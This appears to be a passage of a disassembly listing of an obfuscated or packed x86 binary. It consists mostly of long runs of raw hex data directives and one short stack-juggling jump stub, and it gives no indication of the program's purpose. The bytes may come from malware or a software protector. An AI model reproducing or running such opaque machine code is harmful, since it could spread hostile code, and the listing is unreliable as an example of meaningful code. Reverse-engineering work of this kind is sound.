		dd 890F6EABh, 0Ah, 5E9h, 74CB600h, 0EA819F0Ch, 6A69336Eh
		dd 0E1F08166h, 54F281F9h, 0F696E97h, 38Ah, 0FFB70F00h
		dd 81661389h, 815E9FF7h, 0A2FF72EBh, 0C381F903h, 3A2FF6Eh
		dd 1E981h, 850F0000h, 0Eh, 0E9F1B70Fh, 26h, 0B83A747Bh
		dd 0FE992E5h, 13000000h, 0E5EAF73Fh, 5BFC2ECCh,	0DBFE9545h
		dd 74E922DCh, 0DDFFFFFFh, 56538C51h, 8D8D0F6Ah,	60979A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h
		dd 5AF88B50h, 20A58D89h, 85290603h, 6033041h, 1A6585C7h
		dd 6ED00603h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 6C9102C3h, 12E6535Ch, 65BD8B91h
		dd 80060313h, 85C7EDC6h, 6030071h, 0
		dd 8758523h, 0BD8B0603h, 6030C11h, 2021B5FFh, 6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 4828CFC3h, 5B506896h, 1D95FFF5h, 6A060317h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 9D47C351h, 6A03E50Bh, 0A595FF00h, 8B060323h,	0B109EBC0h
		dd 1549099Ch, 0C8AC0479h, 12E8h, 0B1B4F000h, 5A5BEBA2h
		dd 0BACFD848h, 21162BFh, 6646F189h, 5A1FCEB8h, 1AD58D89h
		dd 0C2810603h, 70C3h, 8BDB33F5h, 31A99BDh, 1334FF06h, 6890Fh
		dd 0BD8B0000h, 6032C39h, 13E95Eh, 0CED60000h, 8077AC21h
		dd 998FFC62h, 90989B62h, 8FE5BFB3h, 86EE81E8h, 802C7670h
		dd 0F6811FE0h, 55BA8883h, 759D89h, 0EE810603h, 550CE406h
		dd 0DE860h, 0F6C40000h,	0E8465B27h, 0C5FEF7B3h,	0B426678Ch
		dd 6CB95993h, 612AF349h, 0B34AB956h, 48F75D7h, 798D891Ah
		dd 0F806030Fh, 0BB23EB81h, 0BD8B1C27h, 6032E0Dh, 0BB1FC381h
		dd 95891C27h, 6032265h,	903CFB81h, 850FFFFFh, 1Bh, 0E9C8E880h
		dd 3Ch,	51F72CDAh, 0F94CB0E6h, 0D439CC9Eh, 7DE6B4FFh, 0E9DC2628h
		dd 10h,	49B3BA5Bh, 0F0AA32Fh, 1AE8A716h, 30B78440h, 0FFFF38E9h
		dd 279E62FFh, 0B48CA4B3h, 4AE17BDh, 0A9D94D5Bh,	8E8h, 68690600h
		dd 960D29CDh, 45B589DBh, 5B06031Ch, 571858Bh, 0C3810603h
		dd 75B9h, 1E05858Bh, 0D22B0603h, 0FFC9BF0Fh, 8B661A34h
		dd 81665FCFh, 81DDBCE6h, 0C5810EFh, 6890F4Fh, 89000000h
		dd 318F1B5h, 77EF8106h,	8900FB1Eh, 304A18Dh, 4C78106h
		dd 892B6F3Ah, 31E4595h,	0C68B5706h, 5613048Fh, 1979B589h
		dd 8B580603h, 32E6D8Dh,	3EA8306h, 0B8F0Fh, 66600000h, 0BEA76AB8h
		dd 1A30871Ah, 48B04A61h, 8AD8FA81h, 850FFFFFh, 0FFFFFF93h
		dd 7E8C18Bh, 0F9000000h, 0A8CE3FD4h, 0D18BCB93h, 61B52959h
		dd 81060317h, 5FB3C1h, 0E9950B00h, 0BE060318h, 17D2h, 1C7D9589h
		dd 398B0603h, 81D9BF0Fh, 0BEE069EFh, 599D8902h,	81060300h
		dd 66F622F7h, 0E4C78172h, 811D1BBBh, 0AB44BED0h, 2360570Ch
		dd 32F0DBDh, 18F6106h, 0F21858Bh, 0E9830603h, 8DB50904h
		dd 4E060326h, 0FFBC850Fh, 0B866FFFFh, 14E83E2Dh, 0AF000000h
		dd 0CA892D06h, 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 0E958F021h
		dd 6, 4FDFE9A5h, 665EAAADh, 5D24EA81h, 7268C681h, 830F0000h
		dd 13h,	0EE9h, 3FE3AB00h, 7C757787h, 87CBC199h,	682D2F73h
		dd 0
		dd 1FB58509h, 0E8580603h, 6, 0DD645BFDh, 950B8433h, 6032025h
		dd 3034FF5Ah, 29C59529h, 0E9590603h, 0Dh, 221680ABh, 0E179589Bh
		dd 0EC0C2698h, 58E9811Bh, 8B02A109h, 32A859Dh, 0DCC18106h
		dd 66272F9Dh, 81DB45BBh, 0AB4409C1h, 0BA66511Dh, 48FFE2Eh
		dd 0CE906h, 72310000h, 6622233Dh, 16CCCDDDh, 9E8BE96h
		dd 0B0000000h, 7B45196Ah, 0EBA16578h, 0D59D3360h, 57060326h
		dd 835A6158h, 958B01E8h, 6032F95h, 66484848h, 0A9C3E381h
		dd 8E80F881h, 850FFFFFh, 0FFFFFF79h, 82F5C680h,	889A075h
		dd 0DC781469h, 62FB8DA6h, 2E863626h, 908635A1h,	480AD925h
		dd 99053025h, 148516ECh, 76023F25h, 7863025h, 419F4598h
		dd 0A5893023h, 90863057h, 5327B5E3h, 4CC83626h,	0D9214D06h
		dd 6AA204A4h, 7BE5D58Fh, 41A0F990h, 7903BD23h, 6F803659h
		dd 8E76BBF5h, 279D91A0h, 0C3EE7E23h, 88DB503Ah,	33E91421h
		dd 0F7797AC7h, 27852950h, 0ECDEB5A8h, 98793623h, 343FC8AEh
		dd 0FB863025h, 986302Dh, 8A033F83h, 0B863025h, 0A489F92Eh
		dd 6F79CFD5h, 48863DCCh, 4D1BBD25h, 0AA803368h,	9863020h
		dd 390BD3DAh, 448F4C9Bh, 5CFDBDA8h, 823E362Ch, 63000000h
		dd 826FF1EAh, 889A075h,	0DC781469h, 62FB8DA6h, 2E863626h
		dd 908635A1h, 480AD925h, 99053025h, 0F305E983h,	22B9A4h
		dd 11E80000h, 0B4000000h, 0F96191Dh, 9E0A10E2h,	709DEADFh
		dd 33ED6672h, 13E860h, 7F740000h, 7CC52E47h, 73C413C9h
		dd 3B021BBAh, 83F5B507h, 0B70F5E3Fh, 0E85F61D9h, 0Fh, 0BF7A1469h
		dd 8E62EA22h, 0FDB44C9Dh, 0FBF8B30h, 689h, 0FD8D8B00h
		dd 59060319h, 6E9FC781h, 958B0000h, 6031831h, 68h, 0E5B86600h
		dd 0B5895B78h, 603091Dh, 8B3B34FFh, 326298Dh, 0D7B95E06h
		dd 815456F2h, 0F61CF8EEh, 81CA8B4Ch, 0D0F4D5C6h, 0C800F1Fh
		dd 0F000000h, 68Dh, 0CEC98100h,	81414E78h, 25C45CEEh, 999D096Ah
		dd 56060307h, 0E91F048Fh, 5, 54543A68h,	0E5958B5Eh, 8306031Ch
		dd 0BF0F02EBh, 894B4BD2h, 3260195h, 68FB8106h, 0FFFFF92h
		dd 1D85h, 0A9858900h, 0E9060320h, 2Ah, 0EE305AB3h, 149E1166h
		dd 850AD131h, 0B40530F7h, 0B660ED74h, 71E961D0h, 6DFFFFFFh
		dd 3263FEh, 0BCB5DC44h,	5528D221h, 8D8DE87Bh, 6097F5Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 42C35646h
		dd 487DC659h, 734BACD5h, 202D8523h, 8D890603h, 60320A5h
		dd 6585C7F8h, 0AC06031Ah, 6A000065h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 37F1C356h
		dd 3C8C0C46h, 0F375F7Fh, 810FFBBFh, 6, 2D62C781h, 0FB8B3465h
		dd 7185C7h, 603h, 5E90000h, 1A000000h, 81665E58h, 0B5FFD68Bh
		dd 6032021h, 0FFD2BF0Fh, 3171D95h, 0F4E78106h, 0B814DA13h
		dd 126446D9h, 95FF006Ah, 60323A5h, 9EBC08Bh, 0CDC98ED6h
		dd 0E317D880h, 0DA04EB8Bh, 0E91B2032h, 8D6h, 0F7B44CDh
		dd 2E9A6BF1h, 4BB78810h, 6EDAA32Dh, 8EFACB50h, 3ABF83CFh
		dd 54DFFD69h, 75011F8Bh, 9B2240ACh, 0AD595ECAh,	183A8CE2h
		dd 0E45664D0h, 807F50D6h, 99C28D85h, 0D611455Eh, 0FA6637BEh
		dd 36AA76AFh, 144EB86Bh, 262532DCh, 6CD8A92Eh, 82F6C74Eh
		dd 2120E974h, 81792E26h, 7C2A29FAh, 9118C0BDh, 4C9ED49Fh
		dd 4956D012h, 4D868AF6h, 0D95A3AEAh, 9D3C96D0h,	3E36075Fh
		dd 6A03h, 0D1565200h, 0B3E50100h, 11458AE8h, 23E815D6h
		dd 1E2FEBB7h, 1D231B28h, 1AC8C798h, 31B65E5Bh, 0D713DC63h
		dd 0FCCE20Fh, 39AD0053h, 0DDD5A62Bh, 363CB7BBh,	30F75C39h
		dd 46000000h, 7D03D156h, 3EB2ADACh, 11457D73h, 95E8F5D6h
		dd 4596E196h, 8F52D611h, 9465EA92h, 4DD8E628h, 51C1428Ch
		dd 7ACD564Eh, 426D82h, 32700000h, 0D6CE9F24h, 7B7A4BD0h
		dd 1145AEC6h, 0D5D2DBD6h, 31DFA82Dh, 135B20EDh,	9D66F040h
		dd 40C8D64Ah, 0C17D706Fh, 3942D08Eh, 5C7E76C9h,	0E787111Ah
		dd 196E168Eh, 3D56517Fh, 67B70A33h, 4C170FE0h, 3F350032h
		dd 0B7D61145h, 67FB2AAh, 0EC3B067Ah, 66DC1465h,	0B5EEAE61h
		dd 1A6DCD66h, 2CDFF1Bh,	0D0125DECh, 0DED4A52Ah,	4BD3D9D1h
		dd 5D608E59h, 610D012h,	0B7B2B17Ah, 87A51164h, 0ACBA2EFFh
		dd 0A85D5526h, 0A7E1A83h, 1740783Fh, 79EDFADAh,	1615E66Bh
		dd 506E231Bh, 44CC7471h, 0DCF6FF73h, 0AF4EB316h, 19375951h
		dd 0CC1C091h, 0DA172E96h, 0F27C8A84h, 59563129h, 2BF47F8Dh
		dd 9555392Ch, 3CDBD7BCh, 44AA75E9h, 2CDA1751h, 9921271Fh
		dd 5196DCA7h, 515EDA17h, 1E5092FEh, 17511D53h, 0D0C8D5DAh
		dd 0D3293205h, 0B522E25Dh, 1AC5DA25h, 0A1119E52h, 770576A9h
		dd 56EAA762h, 7C8AFECFh, 363C07F1h, 0BED61145h,	9B665EB1h
		dd 0ED032932h, 1A221512h, 701D0022h, 4139FF6Bh,	4D1EA5B3h
		dd 74D25B4Eh, 53093Dh, 3B7AB5ADh, 0C9000000h, 152AF629h
		dd 45096732h, 0DCE9D611h, 0F20032C7h, 9F9A996Ah, 0CE56DCA7h
		dd 8C5789FDh, 0D6114566h, 1B6010Eh, 25110E4Ah, 14531E16h
		dd 9824327Dh, 0DDD5D0CFh, 31C8h, 0F629CB00h, 6732152Ah
		dd 0D6114509h, 32C3D8EDh, 3CBE6E29h, 11480371h,	9BE6F3D6h
		dd 0ABA37DACh, 0CE56AE81h, 1E14E8FDh, 45D321ECh, 96A3D611h
		dd 0CF56D39Eh, 0D5E3FFFEh, 0A337824Bh, 0EFC06ED3h, 0F08C4F47h
		dd 3AD6156Dh, 0B33AE2DFh, 0D35876E2h, 0C18C7E05h, 0D61469B3h
		dd 90E33643h, 326C7591h, 274D1875h, 0CFD614D8h,	0F0A077C2h
		dd 0C48D1767h, 0CCD2CAC5h, 0C9777647h, 33410D0Ah, 0E2DDDCADh
		dd 8E5FE4EAh, 18D51E22h, 2A605C3Ch, 0AF000000h,	7901CF56h
		dd 5BAEA9A8h, 32CE375Ch, 63B4F3BEh, 0A1AEDC14h,	6A67C2A2h
		dd 0F66A3BC2h, 989061E8h, 9A263476h, 0DFD7D2D1h, 9F243214h
		dd 49D0D6CEh, 29547978h, 90D2DB4Fh, 141A9F4Dh, 10DB05FDh
		dd 0DC14BDBBh, 5F42AEBBh, 152AF629h, 0CF56EAA7h, 573AE9FEh
		dd 39FF6B70h, 1DA5B341h, 4619544Ch, 68000000h, 3F350032h
		dd 0B7D61145h, 55821ADh, 0DBA9DA0Dh, 350032C6h,	0D611453Fh
		dd 5425ADB7h, 0F075A55h, 45D41AE5h, 8F9CD611h, 0F2F9121Bh
		dd 381BCFC6h, 5F327540h, 0E8FDCE56h, 32477D14h,	0EB000000h
		dd 908851DDh, 2AF629C5h, 9E243215h, 0DBD3CECDh,	4588E6B1h
		dd 576CD611h, 0F7003242h, 0B387E188h, 0A9707E5Eh, 0C02ECC17h
		dd 5622EDE5h, 14E8FDCEh, 0FECF567Dh, 4ED5E3FFh,	0E58B7E7Dh
		dd 0F6F9B4A9h, 0F0B3ABFEh, 0D615DF14h, 2F2EFF86h, 0E4E3AC37h
		dd 2AD5D2DBh, 0CE9A97F2h, 706839C0h, 9E12E36Ah,	0DE53A16Ch
		dd 1623D615h, 59DEFC1Eh, 0C918988h, 0DE214F1Ah,	0C4D1D615h
		dd 5C47271h, 0E9DB6008h, 15DED01Eh, 0BD6F4BD6h,	370630AAh
		dd 6DE13441h, 0E4517764h, 0D210032h, 0BAC10CB7h, 47696106h
		dd 3D338843h, 73835Ch, 6A730000h, 0CD7CDCF3h, 834EC2E3h
		dd 0D6156B6Dh, 3500F805h, 8AFECF56h, 2E26F77Ch,	4F295479h
		dd 672310DBh, 4653DC14h, 3C44F47h, 9CD381C4h, 5150A360h
		dd 0B505CE59h, 7E743F29h, 0F6D012AFh, 0B79796E9h, 7CB45F5Ch
		dd 792A0D2h, 0AFC3313Eh, 0A6B3D012h, 0AD6D3AEh,	0AEE70DD8h
		dd 828FD012h, 2CFD848Ah, 5720AAB8h, 9DA6058h, 5A9CBEB6h
		dd 1F9C24Ch
		dd 0C2293236h, 264D142h, 0A742A8ABh, 2B7E478Bh,	0D5A62D33h
		dd 0AF74B1D6h, 615C5B24h, 5F689A0Eh, 8CEA2C67h,	599762E9h
		dd 19D61164h, 0FEC1B90Ch, 0DC14686Dh, 896CD8E5h, 0D0992432h
		dd 0A672A5D8h, 56EAA791h, 588AFECFh, 1145678Dh,	0B7020FD6h
		dd 0B7DFB230h, 0CF9A92F9h, 2932573Ah, 18A3D2A9h, 0F3E4044Fh
		dd 55829AEh, 665E2FB5h,	3948617Ah, 40AC41h, 29FB0000h
		dd 32152AF6h, 50E0E29h,	1109AD02h, 30D61CE7h, 919ED611h
		dd 9D24327Ch, 7C7B44CFh, 0C362E81h, 0FDCE5639h,	477D14E8h
		dd 3Ch,	0B4B0B9EBh, 0C697BBDFh,	0C9076D7Ah, 0E2EFD611h
		dd 0F6291FEAh, 32152Ah,	0A59D66F2h, 11458CE2h, 3E5368D6h
		dd 0CF982432h, 0B3DDD5D0h, 0FDCE56E0h, 0BF2932E8h, 0CFF8B628h
		dd 38CF170Fh, 3F350032h, 0B7D61145h, 25ACB2AAh,	0CE9F2533h
		dd 0A9C7D4CFh, 49D61145h, 6C75E93Ch, 82A5E196h,	0DC918955h
		dd 15305F27h, 7D7AD5D6h, 97D4ED5h, 5BA66FFBh, 0EEAF46A0h
		dd 0CFF1E954h, 0E5592AB1h, 818051D7h, 0DF320389h, 900D32E7h
		dd 59629408h, 2DF8C532h, 0D614CAC7h, 6C57A2AFh,	20E3DB65h
		dd 0DC110707h, 0F3D6424Fh, 3E09F629h, 0D6114530h, 4B60B3C0h
		dd 0CF56EAA7h, 8D588AFEh, 0D6114567h, 0D816E10Fh, 98D61145h
		dd 7540388Bh, 6B70573Ah, 0A24139FFh, 5Dh, 5F956092h, 17D51145h
		dd 2947120Ah, 32152AF6h, 9D66F200h, 458CE2A5h, 0DDE6D611h
		dd 451021DAh, 0D611ED2Fh, 0C66FBAC7h, 9D49419Bh, 1AB1298h
		dd 0B0003F19h, 5D585728h, 5F32F50Ah, 7A00CE56h,	5CAFAAA9h
		dd 151E1447h, 0DD69CA5Ah, 89544CC0h, 3347h, 52DDEB00h
		dd 978F8A89h, 32F629CCh, 40217716h, 70F74792h, 52A5A09Fh
		dd 967323Dh, 0EDD61145h, 5F32C3D8h, 0E8FDCE56h,	0D19F2432h
		dd 2A297C45h, 58EF372Fh, 0FFFECF56h, 15C6B24Ah,	0A09DF8D6h
		dd 34A071F8h, 0BFBE8F16h, 2195639Ah, 3AC08E13h,	1C6F6A69h
		dd 2A221Dh, 0A3D19CCEh,	53D615C4h, 708B4E46h, 0FADC10CFh
		dd 111002F5h, 0DC2F8D68h, 0F6298D70h, 0B984B62Ah, 0D61145BBh
		dd 6B362E3Bh, 913B2932h, 0F775183Ah, 0B2AB21E4h, 1762B589h
		dd 0C964996Dh, 0A1564EEFh, 982432E4h, 0E9B4D0CFh, 0D611458Bh
		dd 130B5E6Bh, 41B5860Dh, 4F63C038h, 0A8A0DB99h,	70573ADDh
		dd 4139FF6Bh, 35A2h, 2932F100h,	6E374838h, 6EA199F2h, 325A6F3Dh
		dd 11450967h, 0C7DCE9D6h, 67F20032h, 0ACA49F9Eh, 0FDCE56E1h
		dd 477D14E8h, 24h, 5EA9E2EBh, 5AF7ADB6h, 0F6299762h, 6732152Ah
		dd 0D6114509h, 32C3D8EDh, 9B6CF200h, 0CE56D8A3h, 7D14E8FDh
		dd 0FFFECF56h, 61D5A3DAh, 14513596h, 0F9282DDCh, 0B897F63Ch
		dd 0CA1DEE73h, 45C00B77h, 0EC7C47BBh, 0EADA1996h, 868556DCh
		dd 0DAE7938Bh, 8B5CE3DBh, 0E0ABDD1Fh, 0DA1D9492h, 7D055562h
		dd 27AEB4ACh, 100D159h,	0FFB4B306h, 0FF362EB5h,	3BC3D17Bh
		dd 0FC706B6Ah, 27C9C331h, 0AEA6B3FFh, 0A72ED6D3h, 0C54C6AD6h
		dd 73FDF5F4h, 0AE8DABAAh, 0B98209B1h, 6740BFD1h, 0C919AC40h
		dd 57187016h, 2745B104h, 0C9D0CFA0h, 13h, 982432CCh, 0DDD5D0CFh
		dd 0B1565FD5h, 0A9919E4Eh, 56B37E76h, 0D0504CDh, 0BEB6B586h
		dd 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h,	433B3A03h
		dd 0F3EBEABBh, 6F9D9C6Dh, 56E08950h, 3850A8BEh,	0C6814E33h
		dd 24B406FEh, 5F4FEE81h, 0DEF75C76h, 0A5EE814Eh, 1048A07h
		dd 0E8835EF0h, 24048704h, 0E389535Ch, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 68240489h, 278Fh, 57243489h, 97F77BFh
		dd 4815706h, 23107524h,	752D580Bh, 5F0B2310h, 24348B54h
		dd 4C481h, 0BD680000h, 8900002Dh, 468F2404h, 24348B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0B7B89A8Eh, 3060987h, 29E0FFC5h, 7C6A6DCEh, 4D79FD68h
		dd 0E42EBD60h, 494F21E4h, 0FA5A312Ch, 4125F88Eh, 157A0BA6h
		dd 81566F49h, 87308BD9h, 195D209Bh, 38046977h, 884D68DCh
		dd 0BE6DF669h, 0F941A26Fh, 880AD14Ah, 0A9295E0Ch, 0E8606078h
		dd 0Ah,	6E3EE4DCh, 52A7F016h, 0B70F7170h, 0B70F5AF0h, 0B7C281C3h
		dd 66000063h, 1F31C781h, 0B9h, 12E900h,	0ACEB0000h, 946DF881h
		dd 2A1229A8h, 71DD428Ch, 0CFCE9C80h, 661134FFh,	5BD605B8h
		dd 0DE9h, 0A10D2200h, 33605A03h, 228E6139h, 0F381CFA3h
		dd 1A28997Eh, 8800Fh, 8C0F0000h, 2, 0EB81F18Bh,	31EBEF1Ch
		dd 15F68166h, 3DEB8197h, 813CC030h, 0F4CFEBF6h,	0FE95364h
		dd 28000000h, 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h, 48FD917h
		dd 11E90Ah, 0BAD90000h,	28853519h, 0C5C9F65Eh, 3F75201Dh
		dd 60B6AE79h, 6BE18060h, 890Fh,	56610000h, 42C2BA66h, 0E983615Fh
		dd 0B4BF5304h, 58794054h, 9D4CF981h, 850FFFFFh,	12h, 2EE9h
		dd 69E27E00h, 0EC1CFFACh, 0F2BF4A0Bh, 850F44BAh, 8, 1EE8151h
		dd 5873AE40h, 0FFFF3FE9h, 77BD54FFh, 0E6F9448Bh, 44BD7BA8h
		dd 8D1FB13Bh, 98A6F8Dh,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 898CE7ABh, 0E51BD89h
		dd 8D890603h, 60320A5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 81C35242h, 0FC0B431h,	0E8Bh, 0B58B6000h
		dd 6032331h, 8D98D8Bh, 89610603h, 31B49B5h, 6585C706h
		dd 0C806031Ah, 3000059h, 30B5195h, 7185C706h, 60300h, 0F000000h
		dd 68Ch, 0BDB58B00h, 0FF06030Ah, 32391B5h, 2CE8006h, 171D95FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8995F9C3h, 320C58Dh, 0FF006A06h, 323A595h
		dd 0EBC08B06h, 5E569F2Ah, 4356BAD4h, 9CCEAB7Eh,	6E620A9Ch
		dd 0A310B152h, 0E6733075h, 18FCA532h, 7A083D09h, 5EC9114Bh
		dd 0E3136E25h, 8DF4C767h, 98B8F8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0DCEE8650h
		dd 2BD66547h, 9D335D10h, 603244Dh, 20A58D89h, 6A0603h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 2B2828C3h, 2DADB832h, 68A0F5Eh, 33000000h, 3213D85h
		dd 6585C706h, 0D806031Ah, 8900005Eh, 30CB985h, 7185C706h
		dd 60300h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B25DC357h, 0F42F84F8h, 5775BBC9h
		dd 65B5FF5Fh, 6A060317h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9192C356h, 0B69B70DCh
		dd 0B3F6B8A5h, 719B589h, 95FF0603h, 603171Dh, 8E9h, 0C4623800h
		dd 0F2B08CE0h, 0FF006A55h, 323A595h, 0EBC08B06h, 0E5F9E559h
		dd 1DB34E19h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh,	8ED385EEh
		dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 0F3911344h, 0AC7D8247h
		dd 8BA51BB3h, 69A1B392h, 0DB5EC7A1h, 4CD976FCh,	31D20030h
		dd 0F284DDA7h, 2776EC1h, 0D99F92FFh, 35D583ABh,	5A2C8FE9h
		dd 0D3F37D93h, 8D8D601Ch, 6098CD6h, 318D0360h, 29060308h
		dd 30A698Dh, 8D896106h,	60320A5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 9EC35747h, 5EDD9155h, 1C31091h
		dd 6850Fh, 0D8810000h, 7F20C1B6h, 0AF6C781h, 85C730ADh
		dd 6031A65h, 6EFCh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0FBC35646h, 617B6CF6h, 0EC3E72B8h, 85C7F9CDh
		dd 6030071h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C6C35343h
		dd 6D9D3191h, 0FF060307h, 30575B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 604404D1h
		dd 2AE0F27Dh, 171D95FFh, 0B5890603h, 60323F1h, 95FF006Ah
		dd 60323A5h, 7BEBC08Bh,	1A49445Bh, 0F1BF5FF7h, 62FF123Ch
		dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h
		dd 7FFE51BFh, 0A2C0E6E1h, 9FA25DA4h, 48032F29h,	3DBFBB6Bh
		dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 37E57777h
		dd 6A38DBDAh, 4F9DE351h, 802EE8FBh, 0A3DAAFB3h,	6637247h
		dd 0EB699B99h, 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 5240D8C3h
		dd 2EB6F283h, 27CA0546h, 0E853BB3Fh, 10h, 2CC01098h, 0E4250CB5h
		dd 0A4A134A1h, 53C924Ah, 59D2B70Fh, 6E01C181h, 800F0000h
		dd 1, 0B8F5h, 9D890000h, 60307E1h, 0F0834FFh, 0A8Dh, 5E900h
		dd 0CABA0000h, 5B7B3BE6h, 16399D01h, 0C3810603h, 7F13A0D1h
		dd 1D958B60h, 66060329h, 61DA61B9h, 0F03C381h, 0EB81123Dh
		dd 781E88Ah, 66011C89h,	0F5D67DBEh, 8102E883h, 0E395F5E2h
		dd 0E9484879h, 13h, 466B0561h, 0AAF878F8h, 22369F09h, 6A323DFBh
		dd 81645503h, 0FF929CF8h, 91850FFFh, 81FFFFFFh,	15CBC1F7h
		dd 948D8D25h, 8B06098Eh, 31859BDh, 0A58D8906h, 6A060320h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0D448C350h, 0B8384E7Ch, 65EB55AEh, 0C7D08B66h
		dd 31A6585h, 5A8C06h, 6E900h, 58560000h, 0C1B440EAh, 7185C7h
		dd 603h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1A0424h, 50400000h, 0AB32E4C3h, 0FC85E22h, 0A9B5FFF8h
		dd 0FF06030Eh, 3171D95h, 6D853106h, 66060308h, 6ADE8Bh
		dd 23A595FFh, 0C08B0603h, 0DDC25AEBh, 6EFD72F1h, 221DBF5Bh
		dd 0DE44CA10h, 0A0627C48h, 8070DB12h, 0F9347965h, 7B893C76h
		dd 7833F1ACh, 6CB9C5EDh, 37E83AC4h, 4B3C98E7h, 67209FE3h
		dd 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h,	4CEF26CDh
		dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 9C010A35h
		dd 0DE8h, 0DF956C00h, 0FBE81E5Bh, 8AB676A3h, 0D98AAD93h
		dd 35BB665Fh, 2AC781DDh, 8000005Eh, 6832CFh, 8B000000h
		dd 330798Dh, 0ADB85E06h, 0FF278BF4h, 0DD803E34h, 81665A0Bh
		dd 819744E9h, 48A3CCEAh, 1858958h, 81060303h, 0C7B0ADC2h
		dd 85BD0941h, 81060305h, 0DC3919EAh, 6820F5Ah, 89000000h
		dd 3226595h, 37148906h,	5D9D2952h, 5906031Bh, 0C9B70F60h
		dd 0CFEE8161h, 8B297BE0h, 322F58Dh, 0CBC68106h,	0F297BE0h
		dd 68Eh, 0A4F08100h, 813B3959h,	0FFA274FEh, 90850FFFh
		dd 66FFFFFFh, 0E97A83B9h, 0ABh,	3F2E8D50h, 5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0CD83323Dh, 0E937C8D9h
		dd 1295h, 9922E68h, 0EDC7E906h,	2368FFF9h, 0E9060993h
		dd 0FFF9EDBDh, 9940B68h, 0EDB3E906h, 5368FFF9h,	0E9060995h
		dd 0FFF9EDA9h, 995C968h, 0ED9FE906h, 7068FFF9h,	0E9060996h
		dd 0FFF9ED95h, 9971E68h, 0ED8BE906h, 0D168FFF9h, 0E9060997h
		dd 0FFF9ED81h, 9989A68h, 0ED77E906h, 2068FFF9h,	0E906099Ah
		dd 0FFF9ED6Dh, 99B1968h, 0ED63E906h, 8D68FFF9h,	0E906099Ch
		dd 0FFF9ED59h, 99DC368h, 0ED4FE906h, 6D68FFF9h,	0E906099Fh
		dd 0FFF9ED45h, 9A05468h, 0ED3BE906h, 0B23BFFF9h, 0D95F7DE9h
		dd 0F67E9C08h, 119BB925h, 39BEDC48h, 0F13DFC68h, 6BD7A82Dh
		dd 8DF9C24Dh, 0AE1AE36Fh, 0CC380990h, 22501BC7h, 0D2D018D5h
		dd 0B94452C4h, 0FEF6F1F0h, 1CF5633h, 0B2ADAC75h, 0E168605Fh
		dd 2C59A410h, 0FE15E054h, 78DC144Ah, 63E9F76Bh,	0A0989392h
		dd 403C36EBh, 881D012h,	0E2767D0Bh, 3EBD5A3Ah, 0C000000h
		dd 112B2932h, 0AA4DA52Ah, 7D067FB2h, 61D528F1h,	0CBFD2Fh
		dd 0D611CAF2h, 0A687582h, 0EAD611CAh, 8122E5DDh, 0D9DC14E7h
		dd 0DE18CDCCh, 63D012F6h, 945FEDEAh, 9F5A3A50h,	104h, 0FECF56EEh
		dd 2CF27C8Ah, 0DFDAD9A2h, 9A928D8Ch, 0F4C0C9E5h, 8BDF1BE2h
		dd 2FB4BAB2h, 0E0675F5Eh, 78D9B0Fh, 14443736h, 82E903DEh
		dd 820D5DB0h, 140CC1B9h, 7550BC8Dh, 0D6110172h,	0C63A0B92h
